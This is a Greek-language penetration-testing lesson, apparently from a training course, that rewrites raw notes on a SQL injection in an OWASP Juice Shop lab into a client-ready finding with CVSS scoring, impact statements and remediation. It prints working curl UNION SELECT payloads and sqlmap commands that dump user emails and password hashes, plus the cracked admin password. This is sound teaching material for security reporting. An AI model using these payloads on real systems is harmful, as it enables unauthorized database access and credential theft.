Skip to main content

Από μια ακατέργαστη σημείωση σε μια παραδοτέα διαπίστωση

Στην ενότητα 7, η έγχυση SQL στην αναζήτηση του Juice Shop κράτησε είκοσι λεπτά. Οι σημειώσεις, από την άλλη, χωρούν σε οκτώ γραμμές. Ένας πελάτης δεν μπορεί να κάνει τίποτα με αυτές. Αυτό το μάθημα παίρνει ακριβώς αυτή την ανακάλυψη και την ξαναγράφει μέχρι μια φόρμα που θα μπορούσατε να επικολλήσετε στο TP3.

Το ίδιο lab, άλλο κοινό

Στόχος: http://10.10.10.50:3000 — OWASP Juice Shop, ήδη εξουσιοδοτημένο στο εργαστήριό σας. Οι λογαριασμοί που εξήχθησαν είναι αυτοί της ενότητας 7 (admin@juice-sh.op, τρεις γραμμές, --stop=3). Δεν ξανατρέχουμε μαζική εξαγωγή. Συντάσσουμε.

Τι θα ξέρετε να κάνετε μετά από αυτό το μάθημα​

  • Να διακρίνετε μια σημείωση πεδίου από μια διαπίστωση: τι λείπει, τι ψεύδεται, τι αναπαράγεται.
  • Να ανασυνθέτετε μια απόδειξη curl από μια επιτυχία sqlmap, ώστε ο πελάτης να μην χρειάζεται να εγκαταστήσει το εργαλείο.
  • Να υπολογίζετε ένα vector CVSS 3.1, μετά να αποφασίζετε P1 με μια επιχειρηματική φράση.
  • Να διατυπώνετε έναν αντίκτυπο που η διοίκηση μπορεί να παραθέσει, και μια αποκατάσταση που ο προγραμματιστής μπορεί να δοκιμάσει.
  • Να τακτοποιείτε τη φόρμα στην αναφορά: αριθμός, παραρτήματα, σύνδεσμος από την περίληψη.

1. Το ΠΡΙΝ — τι έχετε πραγματικά στο σημειωματάριο​

Ιδού, χωρίς μακιγιάζ, τι μοιάζει ένα σημειωματάριο αποστολής μετά το βήμα 3 της ενότητας 7. Αυτό είναι φυσιολογικό. Δεν είναι παραδοτέο.

2026-04-16 14:10  juice 10.10.10.50:3000
search q=apple -> 200 liste produits
q=apple' -> 500 SQLITE_ERROR near "'"
sqlmap -r preuves/req-search.txt --batch --level=3 --dbs
UNION param q SQLite
sqlmap --tables Users Products Feedbacks BasketItems ...
sqlmap --dump -T Users --start=1 --stop=3
1 admin@juice-sh.op 0192023a7bbd73250516f069df18b500 admin
2 jim@juice-sh.op e5a9e79ba99895c40506c5be3f4d2354 customer
3 bender@juice-sh.op 03dfb27506def0d31d5b1e57dc95519f customer
crackstation 0192023a... -> admin123 3 secondes
TODO rapport
pas touché au login SQLi de l'étape 2 (autre fiche)

Αυτό το μπλοκ περιέχει ήδη τα γεγονότα. Δεν περιέχει κανένα από τα επτά πεδία του προτύπου. Τίτλος απών, προτεραιότητα απούσα, αντίκτυπος = «TODO», αποκατάσταση = τίποτα, απόδειξη = ένα εργαλείο που ο προγραμματιστής δεν θα ανοίξει.

Το υπόλοιπο του μαθήματος συμπληρώνει τα πεδία με τη σειρά που τα διαβάζει ένας αναγνώστης, όχι με τη σειρά που κάνατε κλικ.


2. Ανασύνθεση της πρωτεύουσας απόδειξης: ένα curl, όχι ένα εργαλείο​

Το sqlmap επιβεβαίωσε. Η αναφορά, από την άλλη, δείχνει ένα αίτημα που ένα τρίτο μέρος αναπαράγει σε τριάντα δευτερόλεπτα. Ξεκινάμε από το σφάλμα, μετά εξάγουμε.

2.1. Δείξτε ότι η είσοδος σπάει το SQL​

curl -sS -D - -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o /tmp/sqli-erreur.body | head -n 20

Τυπική έξοδος (headers):

HTTP/1.1 500 Internal Server Error
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

Απόσπασμα του σώματος:

{"error":{"message":"SQLITE_ERROR: near \"'\": syntax error","stack":"SequelizeDatabaseError: SQLITE_ERROR: near \"'\": syntax error\n    at Query.run..."}}

Ανάγνωση για τη φόρμα. Η παράμετρος q παρεμβάλλεται σε ένα ερώτημα SQLite. Ο διακομιστής παραδέχεται τη μηχανή και τη φύση του σφάλματος. Αυτό είναι ήδη μια απόδειξη. Δεν είναι ακόμα ο αντίκτυπος: ένα σφάλμα 500 δεν είναι ένα dump.

2.2. Εξαγωγή τριών λογαριασμών, όπως στην ενότητα 7​

Το Juice Shop κατασκευάζει μια ρήτρα τύπου name LIKE '%…%' OR description LIKE '%…%'. Το payload επίδειξης ξανακλείνει τις παρενθέσεις, συνδέει ένα UNION SELECT με εννέα στήλες (το σχήμα Products του lab), και σχολιάζει το υπόλοιπο.

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
| jq '.data[:3] | .[] | {id,name,description}'

Παρατηρηθείσα έξοδος (τρεις πρώτες χρήσιμες γραμμές):

{
"id": 1,
"name": "admin@juice-sh.op",
"description": "0192023a7bbd73250516f069df18b500"
}
{
"id": 2,
"name": "jim@juice-sh.op",
"description": "e5a9e79ba99895c40506c5be3f4d2354"
}
{
"id": 3,
"name": "bender@juice-sh.op",
"description": "03dfb27506def0d31d5b1e57dc95519f"
}

Το πεδίο name φέρει το email. Το πεδίο description φέρει το hash. Το API απαντά 200: για ένα αυτόματο, είναι μια επιτυχημένη αναζήτηση.

Το RoE παραμένει στην απόδειξη

Τρεις γραμμές, όχι ο πίνακας. Γράφετε «εξαγωγή περιορισμένη σε τρεις εγγραφές, σύμφωνα με το RoE». Αυτό προστατεύει τον πελάτη (καμία πλήρης αντιγραφή στον δίσκο σας) και εσάς (δεν σας κατηγορούν ότι διαρρεύσατε τη βάση).

2.3. Το μυστικό διαχείρισης, σε καθαρό κείμενο​

Η ενότητα 7 έχει ήδη σπάσει το hash στο CrackStation: 0192023a7bbd73250516f069df18b500 → admin123. MD5, χωρίς ορατό salt. Χρόνος: λιγότερο από πέντε λεπτά, εκ των οποίων τρία δευτερόλεπτα σπασίματος.

Στο σώμα της διαπίστωσης, δημοσιεύουμε το κομμένο hash και το γεγονός ότι έχει σπάσει. Το πλήρες hash και το στιγμιότυπο CrackStation πάνε στο παράρτημα, κάτω από τον ίδιο αριθμό φόρμας. Το PDF που στέλνεται με email δεν χρειάζεται να είναι ένα λεξικό κωδικών.

Αποθηκεύστε ήδη τώρα, με τη σύμβαση του μαθήματος 12.1:

mkdir -p ~/mission/preuves
# rejouer en enregistrant
curl -sS -D ~/mission/preuves/C01-2026-04-16-erreur.hdr \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'" \
-o ~/mission/preuves/C01-2026-04-16-erreur.json

curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--" \
-o ~/mission/preuves/C01-2026-04-16-union.json

Το sqlmap παραμένει μια δευτερεύουσα απόδειξη: χρονοσημασμένο αρχείο καταγραφής, εντολή με --stop=3. Δεν αντικαθιστά τα δύο curl.


3. Ο τίτλος, το πλαίσιο, η επιφάνεια​

Τρεις φράσεις προς παγίωση πριν μιλήσετε για σοβαρότητα. Αν ο τίτλος αλλάξει μετά, τα παραρτήματα και η περίληψη σπάνε.

Τίτλος. Ενέργεια + επιφάνεια.

C-01 — Έγχυση SQL μέσω GET /rest/products/search

Δεν γράφουμε «Juice Shop» στον παραδοτέο τίτλο: ο πελάτης ονομάζει Κατάλογος ή Αναζήτηση καταστήματος. Στο lab, το τεχνικό URL αρκεί· σε πραγματική αποστολή, προσθέτετε το λειτουργικό όνομα σε παρένθεση.

Πλαίσιο.

Το δημόσιο endpoint αναζήτησης τροφοδοτεί τον κατάλογο. Δεν απαιτεί
καμία συνεδρία. Ερωτά μια βάση SQLite μέσω μιας παρεμβαλλόμενης συμβολοσειράς.

Τι δεν αναμειγνύουμε. Η έγχυση στη φόρμα σύνδεσης (βήμα 2 της ενότητας 7) είναι C-02, άλλη φόρμα. Ίδια οικογένεια CWE, άλλη επιφάνεια, άλλη αποκατάσταση (άλλο αίτημα, άλλο αρχείο).


4. Υπολογισμός του CVSS, μετά απόφαση για το P1​

Συμπληρώνουμε το vector βάσει αυτού που αποδείχθηκε: ανάγνωση του πίνακα Users από το Internet, χωρίς λογαριασμό. Καμία εγγραφή, κανένα OS shell, κανένα DELETE.

ΜετρικήΤιμήΓιατί
Attack VectorN (Network)Δημόσιο HTTP.
Attack ComplexityL (Low)Ένα αίτημα GET, χωρίς race condition, χωρίς token.
Privileges RequiredN (None)Χωρίς cookie.
User InteractionN (None)Χωρίς κλικ θύματος.
ScopeU (Unchanged)Ο αντίκτυπος παραμένει η εφαρμογή και η βάση της.
ConfidentialityH (High)Emails και μυστικά αυθεντικοποίησης.
IntegrityN (None)Καμία τροποποίηση αποδείχθηκε.
AvailabilityN (None)Καμία άρνηση υπηρεσίας.

Vector:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Βασικό σκορ: 7,5 — High. Όχι 9,8. Το 9,8 θα απαιτούσε τυπικά προσβολή της ακεραιότητας ή της διαθεσιμότητας, ή εκτέλεση κώδικα. Δεν το δείξατε. Η εφεύρεση ενός 9,8 εδώ είναι ψέμα αναφοράς.

Απόφαση προτεραιότητας: P1.

ΓεγονόςΒάρος
Επιφάνεια στο Internet, χωρίς αυθεντικοποίησηανοίγει σε οποιονδήποτε
Λογαριασμός admin ανακτημένος, αδύναμος κωδικός σπασμένοςκατάληψη του back-office
Emails άλλων λογαριασμώνπροσωπικά δεδομένα του lab· σε πραγματικό πελάτη, Νόμος 25 / RGPD
Επανάληψη σε μία γραμμή curlκαμία σπάνια δεξιότητα
CVSS 7,5 μόνοδεν ακυρώνει τις τέσσερις γραμμές παραπάνω

Φράση αιτιολόγησης, προς επικόλληση κάτω από την προτεραιότητα:

P1 — ένας ανώνυμος τρίτος αποκτά το μυστικό διαχείρισης του καταστήματος
από το δημόσιο Internet· το σκορ CVSS 7,5 υποεκτιμά αυτόν τον επιχειρηματικό αντίκτυπο.

Αν το ίδιο vector αφορούσε μια εσωτερική μηχανή αναζήτησης, πίσω από VPN και ήδη προνομιακό λογαριασμό, η φόρμα θα ήταν πιθανώς P2. Δεν είναι η περίπτωση.


5. Ο επιχειρηματικός αντίκτυπος — τρία επίπεδα, μία μόνο φόρμα​

Γράφουμε αυτό που είναι ήδη αληθές, μετά διαχωρίζουμε καθαρά αυτό που θα ήταν μια αλυσίδα (επισκόπηση), όχι έναν αντίκτυπο φόρμας.

Για τη διοίκηση (αυτή η φράση θα πάει επίσης στην περίληψη, αναδιατυπωμένη):

Η δημόσια αναζήτηση παραδίδει τα διαπιστευτήρια του διαχειριστή του
καταστήματος. Ένας άγνωστος μπορεί να ανοίξει το back-office και να ενεργήσει στο όνομα του εμπόρου.

Για τον νομικό / CISO:

Ηλεκτρονικές διευθύνσεις και μυστικά αυθεντικοποίησης είναι
εξαγώγιμα χωρίς δικαίωμα. Σε πραγματικό κατάστημα, αυτό ενεργοποιεί μια
ανάλυση περιστατικού και, ανάλογα με το αρχείο πελατών, μια υποχρέωση
ειδοποίησης (Νόμος 25, RGPD). Οι κωδικοί αποθηκεύονται σε MD5,
χωρίς ορατό salt: το σπάσιμο είναι άμεσο.

Για την τεχνική ομάδα:

Ανάγνωση του πίνακα Users μέσω UNION στην παράμετρο q. Ρόλος admin
επιβεβαιωμένος. Κωδικός admin123 αποκτημένος από σπάσιμο γνωστού MD5.
Καμία UPDATE / INSERT / os-shell δεν δοκιμάστηκε.

Αυτό που δεν γράφουμε στο C-01: «μετά ο επιτιθέμενος θα μεταπηδήσει στη λογιστική». Δεν μεταπηδήσατε. Αν υπάρχει αλυσίδα (XSS admin, Jenkins, AD), αφηγείται στην ενότητα επισκόπησης, με τους αριθμούς φορμών.


6. Η αποκατάσταση — διόρθωση, αντιστάθμιση, δοκιμή, προσπάθεια​

Τρία επίπεδα. Ο πελάτης πρέπει να δει ποιο κλείνει το P1.

Διόρθωση (κλείνει το P1).

  • Παραμετροποιημένο ερώτημα / ORM: η παράμετρος q δεν συνενώνεται πλέον.
  • Λογαριασμός βάσης: η εφαρμογή δεν χρησιμοποιεί έναν ρόλο ικανό να διαβάσει το Users από μια αναζήτηση καταλόγου — αρχή του ελάχιστου προνομίου.
  • Αποθήκευση μυστικών: εγκατάλειψη του MD5· Argon2id ή bcrypt, μοναδικό salt.
  • Από σήμερα: εναλλαγή του κωδικού admin, ακύρωση των συνεδριών, καταγραφή των ανώμαλων GET στο /rest/products/search.

Αντιστάθμιση (εν αναμονή του διορθωτικού).

  • Κανόνας WAF σε UNION, σχόλια SQL, SQLITE_ERROR σε 500. Αυτό δεν είναι το κλείσιμο. Ένα WAF παρακάμπτεται· η φόρμα παραμένει ανοιχτή όσο το curl UNION λειτουργεί.

Δοκιμή κλεισίματος — η ίδια με την απόδειξη, διαφορετική αναμενόμενη τιμή:

curl -sS -o /tmp/apres.json -w '%{http_code}\n' \
-G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"

# Αναμενόμενο: 400 ή 200 με data=[] ή μια λίστα πραγματικών προϊόντων,
# ποτέ ένα αντικείμενο του οποίου το "name" είναι διεύθυνση και το "description" hash.
jq '.data[] | .name' /tmp/apres.json

Προσπάθεια. Μία έως τρεις ανθρωπο-ημέρες για έναν προγραμματιστή που γνωρίζει το stack (Express / Sequelize σε αυτό το lab). Η εναλλαγή του κωδικού: μία ώρα, ops ή admin καταστήματος, την ημέρα ανάγνωσης του P1.

Αναφορές προς επικόλληση:

Αναφ.Αναγνωριστικό
CWECWE-89 (SQL Injection)
OWASPA03:2021 Injection
Παρακείμενο CWECWE-328 (Weak Hash), CWE-209 (Error Message)
CVEκανένα — ελάττωμα υλοποίησης, όχι καταλογοποιημένο προϊόν

7. Το ΜΕΤΑ — η φόρμα όπως φεύγει στον πελάτη​

Παρακάτω, η πλήρης διαπίστωση. Είναι το αναμενόμενο επίπεδο για κάθε μία από τις έξι φόρμες του TP3. Τα μπλοκ HTTP βρίσκονται μέσα στο πρότυπο: το εξωτερικό πλαίσιο έχει τέσσερις backtick.

## C-01 — Έγχυση SQL μέσω GET /rest/products/search

**Σοβαρότητα.** P1.
CVSS 3.1 : 7,5 — `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`.
Αιτιολόγηση : ένας ανώνυμος τρίτος αποκτά το μυστικό διαχείρισης του
καταστήματος από το δημόσιο Internet· το σκορ 7,5 υποεκτιμά αυτόν τον επιχειρηματικό αντίκτυπο.

**Πλαίσιο.** Το δημόσιο endpoint αναζήτησης τροφοδοτεί τον κατάλογο. Καμία
συνεδρία δεν απαιτείται. Η παράμετρος `q` παρεμβάλλεται σε ένα ερώτημα SQLite.

**Απόδειξη.** 16 Απριλίου 2026, εξουσιοδοτημένο εργαστήριο `10.10.10.50:3000`.
Εξαγωγή περιορισμένη σε τρεις εγγραφές (RoE).

Εντοπισμός — μια απόστροφος αρκεί για να αποτύχει το SQL :

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=apple'"
```

Απάντηση : HTTP 500, σώμα `SQLITE_ERROR: near "'": syntax error`.

Εξαγωγή — `UNION SELECT` σε εννέα στήλες, πίνακας `Users` :

```bash
curl -sS -G 'http://10.10.10.50:3000/rest/products/search' \
--data-urlencode "q=qwert')) UNION SELECT id,email,password,'4','5','6','7','8','9' FROM Users--"
```

Απάντηση : HTTP 200. Τα τρία πρώτα χρήσιμα αντικείμενα φέρουν, στα `name`
και `description`, `admin@juice-sh.op` / `0192023a7bbd7325…`,
`jim@juice-sh.op`, `bender@juice-sh.op`.

Δευτερεύουσα επιβεβαίωση : `sqlmap -r preuves/req-search.txt --batch --level=3`
μετά `--dump -T Users --start=1 --stop=3`. Ίδιος πίνακας, ίδιος περιορισμός.

Σπάσιμο : hash MD5 του διαχειριστή αναλύθηκε σε `admin123` (δημόσιο λεξικό).
Αρχείο καταγραφής και στιγμιότυπα : παράρτημα A, αρχεία `C01-2026-04-16-*`.

**Επιχειρηματικός αντίκτυπος.** Ένας άγνωστος διαβάζει τα διαπιστευτήρια του
διαχειριστή και των πελατών, μετά ανοίγει το back-office. Τα μυστικά είναι αποθηκευμένα σε MD5
χωρίς ορατό salt. Σε πραγματικό κατάστημα, emails και πρόσβαση admin
προκαλούν ανάλυση περιστατικού και, ανάλογα με το αρχείο, ειδοποίηση
Νόμος 25 / RGPD. Καμία εγγραφή στη βάση ούτε εκτέλεση συστήματος δεν
αποδείχθηκε.

**Αποκατάσταση.**
1. Άμεσα (ops, λιγότερο από μία ώρα) : εναλλαγή του κωδικού admin,
ακύρωση των συνεδριών, ειδοποίηση για τα 500 SQL.
2. Διορθωτικό (dev, 1 έως 3 ημέρες) : παραμετροποιημένα ερωτήματα στο `q` ·
λογαριασμός SQL μόνο για ανάγνωση καταλόγου· hash Argon2id ή bcrypt.
3. Προσωρινή αντιστάθμιση : κανόνας WAF. Δεν κλείνει τη διαπίστωση.
4. Δοκιμή κλεισίματος : το `curl` UNION παραπάνω δεν πρέπει πλέον να επιστρέφει
email ούτε hash. Ένα 400, ή μια λίστα πραγματικών προϊόντων, αρκεί.

**Αναφορές.** CWE-89, CWE-328, CWE-209, OWASP A03:2021. Κανένα CVE.

Συγκρίνετε με το σημειωματάριο της ενότητας 1. Όλα τα τεχνικά γεγονότα είναι εκεί. Τίποτα δεν εφευρέθηκε. Όλα έγιναν αποφασίσιμα.


8. Πού συνδέεται αυτή η φόρμα στην αναφορά​

Η φόρμα δεν αιωρείται. Τέσσερις συνδέσεις, αλλιώς το PDF αντιφάσκει.

Περίληψη για τη διοίκηση — μία γραμμή, χωρίς URL:

P1 — η δημόσια αναζήτηση παραδίδει τον λογαριασμό διαχείρισης του καταστήματος
(βλ. C-01). Ενέργεια της εβδομάδας : εναλλαγή του μυστικού και διορθωτικό της
παραμέτρου αναζήτησης.

Χάρτης θερμότητας — +1 στο κελί Εφαρμοστικό / P1.

Συστάσεις κατά θέμα — Το C-01 τροφοδοτεί το εργοτάξιο «Πρόσβαση στα δεδομένα»: παραμετροποίηση SQL σε ολόκληρη την εφαρμογή, όχι μόνο στο search. Αν έχετε επίσης το injectable login, οι δύο φόρμες συγχωνεύονται εδώ σε μία δομική ενέργεια.

Παραρτήματα

ΑρχείοΠεριεχόμενο
C01-2026-04-16-erreur.jsonΣώμα 500
C01-2026-04-16-union.jsonΣώμα 200, τρία αντικείμενα
C01-2026-04-16-sqlmap.logΑρχείο καταγραφής --stop=3
C01-2026-04-16-crack.pngΧρονοσημασμένο στιγμιότυπο του σπασίματος

Το σώμα της αναφοράς δεν αντιγράφει ολόκληρο το JSON. Παραπέμπει.


9. Τέσσερα λάθη επανεγγραφής, σε αυτό το συγκεκριμένο παράδειγμα​

Φούσκωμα του σκορ. Μετάβαση σε 9,8 επειδή «το SQL είναι κρίσιμο»: το vector I:N A:N δεν το επιτρέπει. Το P1 υπερασπίζεται χωρίς να ψεύδεστε για τον αριθμό.

Παράδοση του admin123 με έντονα γράμματα στη σελίδα 4. Ο κωδικός σε καθαρό κείμενο στο PDF ταξιδεύει. Γεγονός + κομμένο στη φόρμα, πλήρες σε κρυπτογραφημένο παράρτημα.

Γράψτε «χρησιμοποιήστε το sqlmap για επαλήθευση» ως αποκατάσταση. Ο πελάτης δεν πρέπει να γίνει pentester. Η δοκιμή κλεισίματος είναι το curl UNION, ή ένα unit test που στέλνει το ίδιο payload.

Συγχώνευση με το injectable login. Δύο tickets, δύο αρχεία, δύο δοκιμές. Το κεφάλαιο συστάσεων τα συνδέει. Οι φόρμες, όχι.

Ξαναδιαβάστε δυνατά την αιτιολόγηση P1

Αν δεν μπορείτε να την πείτε σε έναν CIO σε λιγότερο από δεκαπέντε δευτερόλεπτα, δεν είναι έτοιμη. «CVSS 7,5 άρα High» δεν είναι φράση CIO. «Οποιοσδήποτε στο Internet έχει τον κωδικό του admin του καταστήματος» είναι.


10. Μίνι-άσκηση ελέγχου — πριν το εργαστήριο​

Πάρτε τις δικές σας σημειώσεις της ενότητας 7, βήμα 4 (αποθηκευμένο XSS στο προφίλ) ή βήμα 2 (login). Χωρίς να ξαναδιαβάσετε τη φόρμα C-01 παραπάνω, συμπληρώστε στο πρόχειρο:

  1. τίτλος ενέργεια + επιφάνεια·
  2. vector CVSS (το UI θα περάσει συχνά σε Required για ένα XSS)·
  3. προτεραιότητα P1–P4 και η επιχειρηματική φράση·
  4. ένα curl ή ένα αναπαραγώγιμο βήμα προς βήμα·
  5. μία δοκιμή κλεισίματος.

Αν ο τίτλος περιέχει «XSS» χωρίς να λέει πού, αν η απόδειξη είναι alert(1) χωρίς κλοπή συνεδρίας, αν η αποκατάσταση είναι «φιλτράρετε τα scripts», δεν είστε ακόμα στο επίπεδο C-01. Η ενότητα 7 έχει ήδη διαχωρίσει POC και αντίκτυπο: η αναφορά απαιτεί και τα δύο, με αυτή τη σειρά — απόδειξη ύπαρξης, μετά απόδειξη αποτελέσματος.


Τι πρέπει να θυμάστε​

Οι σημειώσεις πεδίου είναι μια ύλη. Η διαπίστωση είναι ένα αντικείμενο επτά πεδίων, με μια απόδειξη curl που ο πελάτης αναπαράγει, ένα τίμιο CVSS, μια υπερασπίσιμη προτεραιότητα, έναν ήδη αποδεδειγμένο αντίκτυπο, μια δοκιμάσιμη αποκατάσταση. Στην έγχυση της ενότητας 7, ο αριθμός 7,5 και το P1 συνυπάρχουν: ο πρώτος περιγράφει την τεχνική, ο δεύτερος το κατάστημα που καταλήφθηκε. Επόμενο μάθημα: συντάσσετε ολόκληρη την αναφορά — έξι φόρμες, περίληψη, σχέδιο 3 / 6 / 12 μηνών.